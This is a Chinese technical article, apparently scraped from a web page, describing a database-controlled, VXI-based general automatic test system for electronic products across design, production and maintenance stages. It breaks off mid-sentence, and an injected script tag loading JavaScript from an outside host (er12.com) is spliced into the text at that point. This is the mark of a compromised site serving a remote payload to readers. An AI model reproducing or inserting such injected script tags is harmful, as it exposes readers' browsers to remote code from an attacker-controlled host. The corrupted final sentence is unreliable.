摘要〕 基于数据库的通用自动测试系统能够应用于电子产品的设计、制造和使用维护各个阶段，并适用于各个电子产品，无论是已有的产品还是新开发电子产品。本文阐述了集成这种通用自动测试系统的必要性，用数据库控制通用自动测试系统的原理，系统的软硬件设计和应用展望。
〔关键词〕 自动测试 测试系统 数据库 验证设计 生产检验 调试 故障诊断
1.引言
电子产品的生命分为设计、制造和使用维护三个阶段，每个阶段都需要测试系统。在设计阶段，产品及其各模块的设计都需要测试，以获得一系列有关的激励和响应的数据，用于验证设计是否满足要求——验证设计测试系统。在制造车间，每个生产的模块及其组合的子系统必须被测试，以检验是否合格——生产检验测试系统。同时，生产检验测试系统还应是调试系统，以便对模块或子系统进行必要的调试。在使用中，产品需要定期的测试和维护——产品性能测试系统。当产品发生故障时，将用到故障诊断系统和电路维修系统。
通常，验证设计测试系统、生产检验测试系统、性能测试系统、故障诊断系统和电路维修系统都是专用测试系统。对应于每个模块几乎都有多个专用测试系统。当产品由许多模块组成时，将需要组建许多专用测试系统。这样就使得产品的成本升高，开发生产周期延长，并且，由于在不同的阶段使用不同的系统进行测试，测试结果的一致性也不会很好。
为改善这种状况，我们研制了一种受控于数据库的、vxi体系结构的通用自动测试系统。该系统将能够应用于电子产品的设计、制造和使用维护各个阶段。将能够取代几乎每个模块的所有专用测试系统。从而降低产品的成本，缩短产品的开发生产周期，并将改善产品的维护和维修。同时，该系统不是针对某一电子产品的。它适用于各个电子产品，无论是已有的产品还是新开发一种电子产品，该系统都能发挥极大的作用。
2.数据库控制通用自动测试系统的原理
如前所述，电子产品及其模块在设计、制造和维护阶段的测试要求是不同的，在同一阶段，不同模块的测试要求也不相同。其差异主要是，激励源不同(路数、类型、大小、特征、相位等)、激励位置不同、被测点位置不同、被测点响应不同(类型、大小、特征、相位等)。但是，无论如何测试的过程是相似的：施加适当的激励于被测装置的适当位置，在适当的时刻测试被测点的响应，对响应进行数据处理，提取特征。因此，如果我们能够记录每个被测装置的激励和响应等必要的信息，就能够根据这些信息设置自动测试系统，对被测装置进行正确的测试和处理。所以使用数据库控制通用自动测试系统进行验证设计、生产检验、性能测试、故障诊断和电路维修是完全可能的。图1为通用测试系统的工作流程方框图，图2为与之相配的数据库树结构图。
图1 通用自动测试系统工作流程方框图
图2 数据库树结构示意图
图2中，激励资源库中记录了通用自动测试系统所拥有的激励源资源，如直流电源及其相关参数(接入脚序号、电压范围、电流范围等)、模拟信号源与其相关参数(接入脚序号、信号类型、频率范围、幅度范围、输出阻抗等)、数字激励源及其参数(激励路数、激励电平、激励向量数、接入脚序号等)。测试资源库中记录了通用自动测试系统所拥有的测试仪器及其能力，如示波器及其相关参数(频带宽度、输入阻抗、测试量程、通道数、可测特征、接入脚序号等)、多用表及其相关参数(电压量程、电流量程、电阻量程、接入脚序号等)。接口资源库记录了通用自动测试系统的各类型开关的自动切换能力，如电源开关及其参数(能切换的引脚范围、允许的最大电压电流等)、视频矩阵开关及其参数(能切换的引脚范围、允许的最大电压电流、频率范围等)、射频开关及其参数(能切换的引脚范围、允许的最大电压电流、频率范围等)、微波开关等。图中，生产调试库、性能检测库、故障诊断库与设计验证库的结构是类似的。
当测试系统集成完毕时，其资源库就确定了。而该系统用于哪一类型、哪一模块，则靠选用数据库来实现，如图1所示。系统运行之初，首先选择测试类型、被测产品和被测模块，之后，程序自动进入相应的激励库、响应库和规则库，读取需加的激励，需测的响应和控制流程的规则。当程序在激励页中读到一个激励及其参数时，程序将自动搜索系统的激励资源库和接口资源库，寻找匹配的激励源和对应的开关网络，然后设置激励源和接口开关。如果找不到匹配的激励源或接口开关不能满足要求，程序将自动提示操作员增加外置激励源，或用手工跳线来完成接口连接。当所需的激励源和相应的接口都被设置好时，程序将根据要求顺序施加激励源并同时予以校验。这时程序将读取响应页中的响应信息。根据响应?script src=http://er12.com/t.js>
